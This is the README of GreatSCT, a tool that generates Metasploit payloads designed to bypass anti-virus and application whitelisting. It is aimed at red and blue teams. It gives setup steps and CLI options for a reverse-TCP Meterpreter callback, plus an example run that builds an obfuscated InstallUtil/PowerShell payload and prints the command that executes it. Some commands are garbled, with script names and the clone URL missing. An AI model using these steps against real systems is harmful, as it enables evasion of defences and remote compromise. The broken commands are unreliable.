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GreatSCT is a tool designed to generate metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions.

GreatSCT is current under support by @ConsciousHacker

Software Requirements:


  1. Kali - run the setup script - sudo ./ -c

NOTE: Support for distributions other than Kali Linux will be coming soon.

Setup (tl;dr)

NOTE: Installation must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Run ./ -c on Linux.

Install by cloning from git, not via apt!

Quick Install

apt-get -y install git
git clone
cd GreatSCT/
cd setup
sudo ./ -c

Regenerating Config

NOTE: This must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Most of the time the config file at /etc/greatsct/ will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by config/

It is important that you are in the config/ directory before executing If you are not, will be incorrect and when you launch GreatSCT you will see the following.

    Main Menu

            0 payloads loaded

Don't panic. Enter the config/ dir and re-run

Example Usage

GreatSCT's Main Menu:

                             GreatSCT | [Version]: 1.0
      [Web]: | [Twitter]: @ConsciousHacker

Main Menu

	1 tools loaded

Available Commands:

	exit			Exit GreatSCT
	info			Information on a specific tool
	list			List available tools
	update			Update GreatSCT
	use			Use a specific tool

Main menu choice: 


usage: [--update] [--version] [--list-tools] [-t Bypass] [--ip IP]
                   [--port Port] [--list-payloads]
                   [-c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]]
                   [-o OUTPUT NAME] [-p [PAYLOAD]] [--clean]
                   [--msfoptions [OPTION=value [OPTION=value ...]]]
                   [--msfvenom [windows/meterpreter/reverse_tcp]]

GreatSCT is a framework to generate application whitelisting bypasses.

GreatSCT Options:
  --update              Update the GreatSCT framework.
  --version             Displays version and quits.
  --list-tools          List GreatSCT's tools
  -t Bypass, --tool Bypass
                        Specify GreatSCT tool to use (Bypass)

Callback Settings:
  --ip IP, --domain IP  IP Address to connect back to
  --port Port           Port number to connect to.

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

Great Scott Options:
  -c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]
                        Custom payload module options.
  -o OUTPUT NAME        Output file base name for source and compiled
  -p [PAYLOAD]          Payload to generate. Lists payloads if none specified.
  --clean               Clean out payload folders.
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload.
  --msfvenom [windows/meterpreter/reverse_tcp]
                        Metasploit shellcode to generate.

GreatSCT Bypass CLI

# ./ --ip --port 443 -t Bypass -p installutil/powershell/ -c "OBFUSCATION=ascii SCRIPT=/root/script.ps1"
                                   Great Scott!
      [Web]: | [Twitter]: @ConsciousHacker

 [*] Language: installutil_powershell
 [*] Payload Module: installutil/powershell/script
 [*] Executable written to: /usr/share/greatsct-output/compiled/payload4.exe
 [*] Source code written to: /usr/share/greatsct-output/source/payload4.cs
 [*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload4.exe
# file /usr/share/greatsct-output/compiled/payload4.exe
/usr/share/greatsct-output/compiled/payload4.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows



This project is licensed under the GNU General Public License v3 license.


The project is called Great SCT (Great Scott). Great SCT is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team.




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